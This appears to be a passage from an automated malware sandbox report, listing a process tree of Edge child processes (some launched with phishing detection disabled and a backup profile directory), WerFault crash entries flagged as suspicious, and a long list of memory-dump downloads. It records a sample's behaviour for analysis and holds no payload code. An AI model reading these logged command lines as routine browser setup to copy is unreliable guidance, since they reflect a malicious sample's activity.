                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=2304 /prefetch:3
                                                                                        3⤵
                                                                                          PID:1220
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=2868 /prefetch:8
                                                                                          3⤵
                                                                                            PID:1808
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3752 /prefetch:1
                                                                                            3⤵
                                                                                              PID:3356
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:1
                                                                                              3⤵
                                                                                                PID:2368
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5508 /prefetch:8
                                                                                                3⤵
                                                                                                  PID:4612
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5508 /prefetch:8
                                                                                                  3⤵
                                                                                                    PID:4632
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                                                                                    3⤵
                                                                                                    • Drops file in Program Files directory
                                                                                                    PID:4780
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x280,0x284,0x288,0x25c,0x28c,0x7ff6b6ad5460,0x7ff6b6ad5470,0x7ff6b6ad5480
                                                                                                      4⤵
                                                                                                        PID:4820
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
                                                                                                      3⤵
                                                                                                        PID:4484
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --lang=en-US --service-sandbox-type=audio --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5108 /prefetch:8
                                                                                                        3⤵
                                                                                                          PID:3548
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3580 -ip 3580
                                                                                                      1⤵
                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                      PID:1060
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3968 -ip 3968
                                                                                                      1⤵
                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                      PID:2624
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2016 -ip 2016
                                                                                                      1⤵
                                                                                                        PID:2152
                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                        1⤵
                                                                                                        • Checks processor information in registry
                                                                                                        • Enumerates system info in registry
                                                                                                        PID:3544
                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:3068
                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4248
                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x33c 0x408
                                                                                                            1⤵
                                                                                                              PID:4492

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • memory/768-141-0x00000000005A0000-0x00000000005A9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    36KB

                                                                                                                  • memory/768-143-0x0000000000400000-0x0000000000452000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    328KB

                                                                                                                  • memory/768-142-0x00000000005B0000-0x00000000005B9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    36KB

                                                                                                                  • memory/900-230-0x0000000000AB0000-0x0000000000AC2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/900-233-0x000000001B570000-0x000000001B592000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/900-236-0x000000001C210000-0x000000001C212000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/900-240-0x000000001C213000-0x000000001C215000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/900-231-0x0000000000AB0000-0x0000000000AC2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/912-188-0x00000000039D0000-0x00000000039D5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    20KB

                                                                                                                  • memory/912-190-0x0000000009800000-0x0000000009C0B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/912-192-0x00000000039E0000-0x00000000039E7000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    28KB

                                                                                                                  • memory/912-186-0x0000000003940000-0x0000000003950000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/912-184-0x0000000003930000-0x0000000003936000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    24KB

                                                                                                                  • memory/912-182-0x0000000004800000-0x0000000004A0F000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.1MB

                                                                                                                  • memory/912-174-0x00000000003A0000-0x00000000003B5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    84KB

                                                                                                                  • memory/912-175-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/912-176-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1016-180-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    128KB

                                                                                                                  • memory/1136-160-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1136-161-0x0000000004C60000-0x0000000004C61000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1136-159-0x0000000004D00000-0x0000000004D76000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    472KB

                                                                                                                  • memory/1136-167-0x00000000054D0000-0x0000000005A74000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    5.6MB

                                                                                                                  • memory/1136-163-0x0000000004CE0000-0x0000000004CFE000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    120KB

                                                                                                                  • memory/1136-156-0x0000000000320000-0x00000000003AA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    552KB

                                                                                                                  • memory/1136-155-0x0000000000320000-0x00000000003AA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    552KB

                                                                                                                  • memory/1220-286-0x000001E4FD890000-0x000001E4FD892000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1220-288-0x000001E4FD890000-0x000001E4FD892000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-294-0x000002295FB90000-0x000002295FB92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-282-0x00007FFCAD6C0000-0x00007FFCAD6C1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1728-287-0x000002295FB90000-0x000002295FB92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-290-0x000002295FB90000-0x000002295FB92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-291-0x000002295FB90000-0x000002295FB92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-285-0x000002295FB90000-0x000002295FB92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1728-280-0x000002295FAA6000-0x000002295FAA7000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1736-207-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/1736-234-0x00000000047C0000-0x000000000480F000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    316KB

                                                                                                                  • memory/1736-237-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/1736-235-0x0000000004B80000-0x0000000004C11000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    580KB

                                                                                                                  • memory/1736-206-0x0000000004920000-0x00000000049C5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    660KB

                                                                                                                  • memory/1736-208-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/1736-209-0x00000000049D0000-0x0000000004A38000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    416KB

                                                                                                                  • memory/1736-210-0x0000000004AE0000-0x0000000004B72000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    584KB

                                                                                                                  • memory/1736-232-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/1736-216-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/1808-300-0x000001953A5B0000-0x000001953A5B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1808-301-0x000001953A5B0000-0x000001953A5B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/1840-218-0x0000000003340000-0x00000000033B4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    464KB

                                                                                                                  • memory/1840-221-0x00000000032D0000-0x000000000333B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    428KB

                                                                                                                  • memory/2016-238-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/2016-239-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/2016-215-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    39.8MB

                                                                                                                  • memory/2280-248-0x0000018FBAE60000-0x0000018FBAE62000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2280-249-0x0000018FBAE60000-0x0000018FBAE62000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2368-313-0x000002C1001B0000-0x000002C1001B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2368-312-0x000002C1001B0000-0x000002C1001B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2368-315-0x000002C1001B0000-0x000002C1001B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2368-311-0x000002C1001B0000-0x000002C1001B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2368-306-0x000002C1000BF000-0x000002C1000C0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/2412-251-0x0000026AA0AD0000-0x0000026AA0AD2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2412-252-0x0000026AA0AD0000-0x0000026AA0AD2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2560-144-0x0000000000809000-0x000000000081A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/2560-152-0x00000000021D0000-0x00000000021EC000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    112KB

                                                                                                                  • memory/2560-154-0x0000000000400000-0x00000000005D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.8MB

                                                                                                                  • memory/2564-134-0x00000000012E0000-0x00000000012F6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    88KB

                                                                                                                  • memory/2564-169-0x0000000008780000-0x0000000008796000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    88KB

                                                                                                                  • memory/2912-153-0x0000000000640000-0x0000000000653000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    76KB

                                                                                                                  • memory/2912-157-0x0000000000400000-0x00000000005CF000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.8MB

                                                                                                                  • memory/2912-151-0x0000000000689000-0x000000000069A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/3008-195-0x0000000002A00000-0x0000000002AF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    964KB

                                                                                                                  • memory/3008-199-0x0000000002A00000-0x0000000002AF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    964KB

                                                                                                                  • memory/3008-130-0x00000000007B8000-0x00000000007C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/3008-131-0x0000000000760000-0x0000000000769000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    36KB

                                                                                                                  • memory/3080-224-0x0000000000E30000-0x0000000000E37000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    28KB

                                                                                                                  • memory/3080-225-0x0000000000E20000-0x0000000000E2C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    48KB

                                                                                                                  • memory/3356-316-0x00000245C8350000-0x00000245C8352000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/3356-314-0x00000245C8350000-0x00000245C8352000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/3356-317-0x00000245C8350000-0x00000245C8352000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/3356-309-0x00000245C8350000-0x00000245C8352000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/3356-304-0x00000245C8322000-0x00000245C8323000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/3580-217-0x00000000009B0000-0x0000000000A10000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    384KB

                                                                                                                  • memory/3708-172-0x0000000000882000-0x0000000000893000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/3708-177-0x0000000000400000-0x00000000005CF000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.8MB

                                                                                                                  • memory/3968-226-0x00000000024F0000-0x0000000002550000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    384KB

                                                                                                                  • memory/4020-133-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    36KB

                                                                                                                  • memory/4632-319-0x000001FF6EA90000-0x000001FF6EA92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4632-320-0x000001FF6EA90000-0x000001FF6EA92000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4780-322-0x00000264663A0000-0x00000264663A2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4780-323-0x00000264663A0000-0x00000264663A2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4820-325-0x0000021182AA0000-0x0000021182AA2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB